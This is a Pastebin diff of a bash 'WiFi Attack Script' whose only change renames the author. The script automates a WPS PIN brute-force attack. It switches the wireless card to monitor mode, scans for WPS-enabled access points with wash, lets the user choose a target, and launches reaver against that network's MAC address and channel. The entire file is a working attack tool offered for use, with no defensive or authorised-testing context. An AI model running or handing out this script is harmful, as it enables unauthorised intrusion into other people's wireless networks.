View difference between Paste ID: 4ptbfPgX and 2mKrk9uC
SHOW: | | - or go back to the newest paste.
1
#! /bin/bash
2
3
#WiFi Attack Script, v1.0
4-
#Author: Vinay Gopinath
4+
#Author: Ju4nD3L3M0s
5
#Date: 26 October, 2012
6
7
#CONFIG: Customize the script according to your needs
8
#The default wireless interface (usually wlan0, wifi0 or ath0)
9
wireless_interface=wlan0
10
11
#The timeout (in seconds) for wash to search for WPS-enabled access points
12
wash_timeout=15
13
14
#Flag to allow user to choose target AP
15
allow_user_choice=1
16
17
#Delay between attack attempts
18
reaver_delay=0
19
20
#Check for root privileges
21
if (( EUID != 0 )); then
22
  echo "This script needs root"
23
  exit 1
24
fi
25
26
#Check for required commands
27
for command in airmon-ng wash reaver
28
do
29
  if [[ -z $(which $command) ]]; then
30
     echo "$command was not found"
31
     echo "To install $command, you may follow this link"
32
     echo "http://lmgtfy.com/?q=$command+installation"
33
     exit 1
34
  fi
35
done
36
37
echo "WARNING: Network connections are about to go down. You may need to re-enable wireless connections manually"
38
39
#Check available interfaces and close previous monitor interfaces and wireless lan
40
for interface in $(ifconfig | tr -s [:space:] | cut -f1 -d" " | tr -s [:space:])
41
do
42
  if [[ -n $(echo $interface | grep "^mon*") ]] || [[ -n $(echo $interface | grep '0$') ]] && [[ $(echo $interface) != "eth0" ]]; then
43
    echo "* Shutting down $interface"
44
    airmon-ng stop $interface > /dev/null
45
  fi
46
done
47
48
echo "* Starting a new monitor interface mon0"
49
airmon-ng start $wireless_interface > /dev/null
50
51
echo "Identifying WPS-enabled access points"
52
timeout $wash_timeout wash -i mon0 --ignore-fcs > washOutput.txt
53
APs=$(cat washOutput.txt | tail -n +3 | tr -s ' ' | cut -f6 -d' ')
54
55
if [[ -n $(echo $APs) ]]; then
56
   if  (( $allow_user_choice )); then
57
      n=1
58
      echo "The following access points were detected"
59
      for ap in $APs
60
      do
61
        echo "* $n: $ap"
62
        ((n++))
63
      done
64
      read -p "Enter your choice: " choice
65
      if [[ $choice -le $n ]]; then
66
        chosen_ap=$(echo "${APs}" | head -$choice | tail -1)
67
	echo "You have chosen $chosen_ap"
68
      else
69
	echo "Invalid choice!"
70
	exit 1
71
      fi
72
   else
73
      chosen_ap=$(echo "${APs}" | head -n1)
74
      echo "Proceeding with choice 1: $chosen_ap"
75
   fi
76
   tempLine=$(cat washOutput.txt | grep $chosen_ap | tr -s ' ')
77
   rm washOutput.txt
78
   channel=$(echo $tempLine | cut -f2 -d' ')
79
   mac_address=$(echo $tempLine | cut -f1 -d' ')
80
   echo "Starting reaver"
81
   echo "reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay"
82
   echo "AP name: $chosen_ap"
83
   echo "Channel: $channel"
84
   echo "MAC Address: $mac_address"
85
   reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay
86
else
87
   echo "No networks found. Consider increasing the wash timeout. Terminating"
88
   exit 1
89
fi